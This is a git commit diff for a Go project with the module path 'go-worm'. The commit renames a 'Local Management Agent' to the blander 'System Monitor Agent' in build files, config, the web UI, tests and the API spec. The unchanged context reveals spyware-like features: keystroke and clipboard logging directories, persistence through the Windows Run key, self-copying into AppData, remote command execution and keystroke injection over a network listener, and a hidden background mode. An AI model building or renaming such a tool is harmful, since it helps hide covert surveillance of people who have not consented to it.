Rename Local Management Agent to System Monitor Agent throughout the codebase, including updates to executable names, comments, and documentation. This change reflects a broader scope of functionality and improves clarity in the project's purpose.

This commit is contained in:
2026-08-28 13:26:50 +03:00
parent 6a070391c8
commit 09076079fb
9 changed files with 17 additions and 17 deletions
+1 -1
View File
@@ -1,5 +1,5 @@
# Build output # Build output
/localagent.exe /SystemMonitorAgent.exe
*.exe *.exe
*.exe~ *.exe~
*.dll *.dll
+1 -1
View File
@@ -1,3 +1,3 @@
``` ```
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe . GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o SystemMonitorAgent.exe .
``` ```
+1 -1
View File
@@ -98,7 +98,7 @@ func (a *Agent) Serve() error {
return fmt.Errorf("listen %s: %w", a.addr, err) return fmt.Errorf("listen %s: %w", a.addr, err)
} }
fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr) fmt.Printf("System Monitor Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
defer stop() defer stop()
+2 -2
View File
@@ -3,7 +3,7 @@
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<title>Local Management Agent</title> <title>System Monitor Agent</title>
<style> <style>
:root { :root {
--bg: #f4f5f7; --bg: #f4f5f7;
@@ -189,7 +189,7 @@
</head> </head>
<body> <body>
<header> <header>
<h1>Local Management Agent</h1> <h1>System Monitor Agent</h1>
<span id="health" class="badge">checking</span> <span id="health" class="badge">checking</span>
</header> </header>
<p id="error" class="error"></p> <p id="error" class="error"></p>
+4 -4
View File
@@ -10,20 +10,20 @@ import (
const ( const (
Version = "1.0.0" Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032" DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex" MutexName = "SystemMonitorAgent_Mutex"
RequestBodyMax = 1 << 20 RequestBodyMax = 1 << 20
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
MaxListEntries = 10000 MaxListEntries = 10000
MaxImageQuality = 100 MaxImageQuality = 100
DefaultExecTO = 30 DefaultExecTO = 30
MaxExecTO = 120 MaxExecTO = 120
StartupValueName = "LocalManagementAgent" StartupValueName = "SystemMonitorAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run` StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096 MaxInputText = 4096
DefaultKeyDelayMs = 25 DefaultKeyDelayMs = 25
MaxKeyDelayMs = 200 MaxKeyDelayMs = 200
AppDataDir = "LocalManagementAgent" AppDataDir = "SystemMonitorAgent"
InstalledExeName = "localagent.exe" InstalledExeName = "SystemMonitorAgent.exe"
KeylogSubdir = "keystrokes" KeylogSubdir = "keystrokes"
ClipboardSubdir = "clipboard" ClipboardSubdir = "clipboard"
DefaultKeylogRetentionDays = 7 DefaultKeylogRetentionDays = 7
+1 -1
View File
@@ -11,7 +11,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/config"
) )
// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed, // Ensure copies the running exe into %APPDATA%\SystemMonitorAgent\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there. // refreshes an existing startup entry to that path, and re-launches from there.
func Ensure() error { func Ensure() error {
target, err := config.InstalledExe() target, err := config.InstalledExe()
+2 -2
View File
@@ -13,8 +13,8 @@ func TestSamePath(t *testing.T) {
a, b string a, b string
want bool want bool
}{ }{
{`C:\Apps\localagent.exe`, `c:\apps\localagent.exe`, true}, {`C:\Apps\SystemMonitorAgent.exe`, `c:\apps\systemmonitoragent.exe`, true},
{`C:\Apps\localagent.exe`, `C:\Apps\copy.exe`, false}, {`C:\Apps\SystemMonitorAgent.exe`, `C:\Apps\copy.exe`, false},
} }
for _, tc := range cases { for _, tc := range cases {
if got := samePath(tc.a, tc.b); got != tc.want { if got := samePath(tc.a, tc.b); got != tc.want {
+2 -2
View File
@@ -28,8 +28,8 @@ func Spec() map[string]any {
return map[string]any{ return map[string]any{
"openapi": "3.0.3", "openapi": "3.0.3",
"info": map[string]any{ "info": map[string]any{
"title": "Local Management Agent", "title": "System Monitor Agent",
"description": "HTTP API for a Windows local management agent. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.", "description": "HTTP API for a Windows system monitor agent. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.",
"version": config.Version, "version": config.Version,
}, },
"servers": []map[string]any{ "servers": []map[string]any{
+3 -3
View File
@@ -1,12 +1,12 @@
// Local Management Agent is a Windows-only, local network management helper. // System Monitor Agent is a Windows-only, local network management helper.
// //
// Build for Windows x64: // Build for Windows x64:
// //
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe . // GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o SystemMonitorAgent.exe .
// //
// A CMD window appears on launch. Use -background to start without a window: // A CMD window appears on launch. Use -background to start without a window:
// //
// localagent.exe -background // SystemMonitorAgent.exe -background
package main package main
import ( import (